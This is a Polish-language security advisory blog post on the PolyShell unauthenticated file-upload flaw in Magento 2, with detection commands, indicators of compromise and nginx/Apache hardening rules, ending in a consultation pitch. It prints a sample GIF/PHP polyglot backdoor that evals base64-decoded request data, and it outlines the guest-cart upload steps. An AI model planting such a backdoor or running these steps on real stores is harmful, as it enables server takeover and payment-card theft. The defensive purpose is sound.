Bezpieczeństwo

PolyShell — Krytyczna Luka w Magento Zagraża Tysiącom Sklepów

Podatność istniejąca od pierwszej wersji Magento 2 pozwala na upload złośliwego kodu bez autoryzacji. 79,5% chronionych sklepów odnotowało próby ataku — sprawdź, czy Twój jest bezpieczny.

Czym jest PolyShell

PolyShell to krytyczna podatność w REST API Magento, odkryta przez zespół Sansec Forensics w marcu 2026 roku. Pozwala atakującym na upload plików wykonywalnych do dowolnego sklepu Magento Open Source lub Adobe Commerce — bez konieczności logowania.

APSB25-94: Podatność dotyczy WSZYSTKICH wersji Magento Open Source i Adobe Commerce aż do 2.4.9-alpha2. Podatny kod istnieje od pierwszego wydania Magento 2 — to ponad dekada ekspozycji.

Nazwa „PolyShell” pochodzi od techniki użytej w ataku — plików poliglot (polyglot files). Są to pliki, które są jednocześnie poprawne w dwóch formatach: wyglądają jak zwykły obraz (np. GIF czy JPEG), ale zawierają osadzony kod PHP. Serwer traktuje je jako obraz podczas walidacji, ale jako wykonywalny skrypt przy próbie bezpośredniego dostępu.

Przykładowa struktura takiego pliku:

GIF89a;<?php echo 409723*20;
if(md5($_COOKIE["d"])=="a17028..."){
    eval(base64_decode($_REQUEST["id"]));
}
?>

Nagłówek GIF89a sprawia, że plik przechodzi walidację jako obraz GIF. Jednocześnie zawiera pełnoprawny payload PHP — backdoor, który po aktywacji daje atakującemu pełną kontrolę nad serwerem.

Jak działa atak krok po kroku

Atak wykorzystuje trzy brakujące zabezpieczenia w mechanizmie custom options koszyka Magento. Cały proces przebiega przez nieuwierzytelnione endpointy REST API:

1

Utworzenie koszyka gościa

Atakujący wysyła request POST do /V1/guest-carts, aby uzyskać identyfikator koszyka. Nie wymaga to żadnych danych logowania — endpoint jest publiczny i dostępny w każdej instalacji Magento.

2

Dodanie produktu z custom options

Request POST/PUT do /V1/guest-carts/:cartId/items z danymi produktu zawierającymi opcje typu „file”. System nie weryfikuje, czy podane option_id faktycznie należy do danego produktu.

3

Upload pliku poliglot

Przesłany plik omija walidację, ponieważ jedyna kontrola to sprawdzenie nagłówka obrazu (getimagesizefromstring). Nie ma filtrowania rozszerzeń — pliki .php, .phtml i .phar są akceptowane.

4

Plik ląduje na serwerze

Plik zostaje zapisany w katalogu pub/media/custom_options/quote/ — publicznie dostępnym przez przeglądarkę. Pozostaje na dysku nawet jeśli wykonanie PHP jest zablokowane.

5

Zdalne wykonanie kodu

Atakujący uzyskuje dostęp do pliku przez jego publiczny URL. Jeśli konfiguracja serwera pozwala na interpretację PHP w tym katalogu — kod zostaje wykonany, dając pełną kontrolę nad serwerem.

Cały atak opiera się na trzech brakujących kontrolach bezpieczeństwa w Magento:

Brak walidacji option ID

Przesłane identyfikatory opcji nie są weryfikowane względem faktycznych opcji produktu. Można podać dowolne option_id.

Brak filtrowania typu opcji

Logika uploadu plików uruchamia się niezależnie od tego, czy produkt ma opcje typu „file”. Każdy produkt staje się wektorem ataku.

Brak ograniczeń rozszerzenia

Rozszerzenia .php, .phtml, .phar nie są blokowane. Jedyna kontrola to sprawdzenie nagłówka obrazu — łatwe do obejścia.

Dlaczego jest tak niebezpieczny

PolyShell łączy w sobie kilka cech, które sprawiają, że jest jedną z najgroźniejszych podatności w historii Magento:

Brak autoryzacji

Atak nie wymaga żadnych danych logowania. Każdy, kto zna URL sklepu, może go przeprowadzić — wystarczy kilka requestów HTTP.

Dekada ekspozycji

Podatny kod istnieje od pierwszego wydania Magento 2. Każdy sklep, który kiedykolwiek działał na tej platformie, jest lub był narażony.

Brak samodzielnego patcha

Poprawka dostępna jest jedynie w pre-release 2.4.9-alpha3+. Nie opublikowano standalone patcha dla wersji produkcyjnych.

79,5% sklepów atakowanych

Wśród sklepów chronionych przez Sansec, prawie 4 na 5 odnotowało przynajmniej jedną próbę eksploatacji PolyShell.

Brak oficjalnego patcha oznacza, że większość sklepów produkcyjnych nie może po prostu „zainstalować poprawki”. Jedynym rozwiązaniem jest upgrade do wersji pre-release lub zabezpieczenie na poziomie serwera — co wymaga interwencji doświadczonego administratora.

Skala ataku w liczbach

Dane zebrane przez Sansec pokazują błyskawiczną eskalację ataków od momentu odkrycia podatności:

471
sklepów skompromitowanych
w jednej fali ataku 30 marca
79,5%
sklepów z próbami ataku
wśród chronionych przez Sansec
10 lat
czas istnienia podatności
od Magento 2.0 do dziś
0
samodzielnych patchy
brak oficjalnej łatki produkcyjnej

Oś czasu ataków PolyShell:

16 marca 2026

Sansec dodaje ochronę

Zespół Sansec identyfikuje zagrożenie i wdraża mechanizmy blokowania ataków dla swoich klientów. Dzień później publikuje publiczne ostrzeżenie.

19 marca 2026

Pierwsze ataki w środowisku produkcyjnym

Sansec wykrywa pierwsze przypadki eksploatacji PolyShell na żywych sklepach. Atakujący testują różne warianty payloadów.

23–24 marca 2026

Masowe skanowanie

23% chronionych sklepów zostaje przeskanowanych. Do 24 marca na 56,7% sklepów wgrany jest złośliwy kod PHP. Atakujący łączą PolyShell z WebRTC skimmerem do kradzieży danych kart płatniczych.

30 marca 2026

Masowa fala — 471 sklepów w godzinę

Kulminacja ataków: 79,5% chronionych sklepów odnotowuje próby eksploatacji. Ponad 50 unikalnych adresów IP uczestniczy w atakach. Instalowany jest backdoor accesson.php.

Jak sprawdzić czy Twój sklep jest zagrożony

Każdy sklep na Magento 2 jest potencjalnie podatny. Poniższe kroki pozwolą zweryfikować, czy Twoja instalacja została już zaatakowana:

1

Sprawdź katalog custom_options

Przejrzyj zawartość pub/media/custom_options/quote/ — nie powinny się tam znajdować pliki z rozszerzeniem .php, .phtml ani .phar. Każdy taki plik to prawdopodobnie ślad ataku.

2

Szukaj znanych backdoorów

Sprawdź, czy na serwerze istnieje plik accesson.php — znany backdoor instalowany po eksploatacji PolyShell. Może znajdować się w var/assets/images/, vendor/assets/images/ lub pub/assets/images/.

3

Sprawdź logi serwera

Szukaj requestów POST/PUT do endpointów /V1/guest-carts/*/items z dużymi payloadami lub nietypową zawartością. Zwiększona liczba takich requestów to sygnał ostrzegawczy.

4

Monitoruj połączenia wychodzące

Sprawdź, czy serwer nie komunikuje się z domeną lanhd6549tdhse.top — znaną domeną C2 (command & control) powiązaną z atakami PolyShell.

5

Użyj skanera bezpieczeństwa

Narzędzia takie jak Sansec eComscan automatycznie wykrywają znane webshelle, backdoory i inne ślady kompromitacji. Ręczna analiza może przeoczyć ukryte payloady.

Znane wskaźniki kompromitacji (IOC):
• Plik accesson.php (hash: 17028f487cb2a84607646da3ad3878ec)
• Połączenia do domeny lanhd6549tdhse.top
• Pliki PHP w pub/media/custom_options/quote/
• Pliki: json-shell.php, bypass.phtml, c.php, r.php, rce.php

Komendy do szybkiej weryfikacji serwera:

# Szukaj plików PHP w katalogu uploadu
find pub/media/custom_options/ -name "*.php" -o -name "*.phtml" -o -name "*.phar"

# Szukaj backdoora accesson.php
find . -name "accesson.php" -type f

# Sprawdź połączenia do znanej domeny C2
grep -r "lanhd6549tdhse" var/log/

Jak się zabezpieczyć

Dopóki nie pojawi się oficjalny patch dla wersji produkcyjnych, konieczne jest zabezpieczenie sklepu na poziomie infrastruktury:

Krok 1

Zablokuj dostęp do katalogu custom_options

To najważniejsze działanie doraźne. Zablokuj cały katalog, w którym lądują pliki PolyShell — nie tylko pliki .php, ale wszystko. Konfiguracja zależy od serwera:

Nginx — użyj ^~ (prefix match), aby reguła nie mogła zostać nadpisana przez regex handler PHP (~ \.php$). To kluczowe — zwykły regex ~* może przegrać z regułą FastCGI, co jest głównym wektorem RCE w PolyShell:

# Jeśli root wskazuje na katalog instalacji Magento:
location ^~ /pub/media/custom_options/ {
    deny all;
    return 403;
}

# Jeśli root wskazuje na pub/ (częsta konfiguracja):
location ^~ /media/custom_options/ {
    deny all;
    return 403;
}

Apache — sprawdź, czy plik pub/media/custom_options/.htaccess istnieje i blokuje cały dostęp HTTP. Obsłuż obie wersje Apache (2.2 i 2.4):

# pub/media/custom_options/.htaccess
<IfVersion < 2.4>
    order deny,allow
    deny from all
</IfVersion>
<IfVersion >= 2.4>
    Require all denied
</IfVersion>

Upewnij się również, że w konfiguracji vhosta ustawione jest AllowOverride All dla document root — bez tego Apache zignoruje pliki .htaccess.

Krok 2

Ogranicz dostęp do REST API

Jeśli nie korzystasz z guest checkout z custom options, rozważ zablokowanie endpointów /V1/guest-carts/*/items na poziomie serwera lub WAF (Web Application Firewall).

Krok 3

Monitoruj system plików

Skonfiguruj monitoring zmian w pub/media/custom_options/ — np. inotifywait, AIDE, lub komercyjne rozwiązania typu Sansec. Każdy nowy plik PHP w tym katalogu to alarm.

Krok 4

Planuj upgrade do Magento 2.4.9

Jedyna oficjalna poprawka to upgrade. Śledź postępy wydania stabilnej wersji 2.4.9 i zaplanuj migrację jak najszybciej. Przetestuj upgrade na środowisku staging przed wdrożeniem.

Krok 5

Wykonaj audyt bezpieczeństwa

Jeśli podejrzewasz kompromitację, przeprowadź pełny audyt: sprawdź pliki, bazę danych, konta adminów, konfigurację serwera i logi. Zmień wszystkie hasła i klucze API.

Najważniejszy krok: zablokowanie dostępu do pub/media/custom_options/ przez location ^~ (nginx) lub .htaccess (Apache) powinno być pierwszym działaniem — nawet jeśli nie możesz jeszcze wykonać upgrade'u do Magento 2.4.9.

Co to oznacza dla właścicieli sklepów Magento

PolyShell to nie tylko problem techniczny — to sygnał, który powinien skłonić właścicieli sklepów Magento do przemyślenia swojej strategii platformowej:

Koszty incydentu

Kompromitacja oznacza koszty forensic, powiadomienia RODO, utratę reputacji i potencjalne kary. Średni koszt incydentu bezpieczeństwa w e-commerce to dziesiątki tysięcy złotych.

Odpowiedzialność prawna

Zgodnie z RODO, administrator danych odpowiada za ich ochronę. Brak reakcji na znaną podatność może zostać uznany za zaniedbanie przez UODO.

Czas na decyzję platformową

PolyShell to kolejny sygnał, że utrzymanie Magento wymaga stałego, aktywnego zarządzania bezpieczeństwem. Warto rozważyć, czy to nadal optymalna platforma.

Deficyt specjalistów

Reagowanie na taką podatność wymaga doświadczonego zespołu. Pula specjalistów Magento na rynku kurczy się z każdym rokiem, a stawki rosną.

Rozważasz migrację na bezpieczniejszą platformę? Przeczytaj nasz poradnik: Migracja Magento 2 na Shopify — Kiedy Warto i Jak Uniknąć Błędów →

Podsumowanie

PolyShell to jedna z najpoważniejszych podatności w historii Magento — łączy brak autoryzacji, trywialność exploitacji i brak oficjalnego patcha. Kluczowe wnioski:

  • PolyShell dotyczy WSZYSTKICH wersji Magento 2 — od pierwszego wydania do 2.4.9-alpha2
  • Atak nie wymaga autoryzacji i jest trywialny do przeprowadzenia przez publiczne endpointy REST API
  • Brak standalone patcha — jedyna oficjalna poprawka to upgrade do pre-release 2.4.9-alpha3+
  • Zablokowanie dostępu do pub/media/custom_options/ regułą ^~ (nginx) to krytyczny krok doraźny, który należy wdrożyć natychmiast
  • Regularny monitoring i audyty bezpieczeństwa to nie opcja, a konieczność dla każdego sklepu Magento
Specjalizujemy się w bezpieczeństwie i utrzymaniu sklepów e-commerce — od audytów bezpieczeństwa, przez hardening serwerów, po migracje na bezpieczniejsze platformy. Sprawdź naszą ofertę sklepów internetowych →

Jeśli prowadzisz sklep na Magento i nie wiesz, czy jesteś zabezpieczony przed PolyShell — umów darmową konsultację. Sprawdzimy Twój sklep i zaproponujemy konkretne kroki ochrony.

Obawiasz się o bezpieczeństwo swojego sklepu Magento?

Umów darmową konsultację — sprawdzimy Twój sklep pod kątem PolyShell i innych podatności.

Umów darmową konsultację